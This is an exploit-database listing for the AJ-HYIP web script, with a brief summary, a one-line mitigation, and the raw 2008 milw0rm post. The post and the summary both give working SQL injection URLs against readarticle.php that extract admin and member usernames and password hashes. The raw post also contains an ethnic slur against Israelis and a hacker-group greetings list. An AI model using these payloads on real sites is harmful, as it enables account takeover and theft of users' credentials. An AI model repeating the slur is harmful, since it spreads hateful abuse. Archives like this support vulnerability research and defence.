AJ-HYIP

vendor:

AJ-HYIP

by:

Cyb3r-1sT

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: AJ-HYIP

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

AJ-HYIP is vulnerable to SQL injection. An attacker can exploit this vulnerability to gain access to the admin and members information. The attacker can use the following payloads to exploit this vulnerability: For admin info: www.site.me/patch/article/readarticle.php?artid=-9999999+union+select+0,1,2,3,concat(username,0x3a,admin_password),5,6,7,8+from+admin/* For members info: www.site.me/patch/article/readarticle.php?artid=-9999999+union+selct+0,1,2,3,concat(username,0x3a,password),5,6,7,8+from+members/*

Mitigation:

Developers should ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection ++++++++++++++
=======================================================


<<->> script      : aj-hyip

<<->> script site : www.ajhyip.com/demo/meridian                     
                            : www.ajhyip.com/demo/acme
                            : www.ajhyip.com/demo/prime


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>>>>>>>

 <!> for admin inf0 ::: 

     >>>> www.site.me/patch/article/readarticle.php?artid=-9999999+union+select+0,1,2,3,concat(username,0x3a,admin_password),5,6,7,8+from+admin/*                     


 <!> for members inf0 ::: 

     >>>> www.site.me/patch/article/readarticle.php?artid=-9999999+union+select+0,1,2,3,concat(username,0x3a,password),5,6,7,8+from+members/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->>  freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker 
                                        anaconda-ksa $ sirus $ crazy-x $ br1ght-dark  $ colden-zero
                    

<<->> InjEctOr5 TeaM freinds  :: abo-najm $ Eng.Silent Night  $ spid3r-net $ hacker-b0y $ qalbhamad $ Mr.Dangers - RooT-HacKer - 07 - fisher - ToTal



<<->> All muslims

# milw0rm.com [2008-09-02]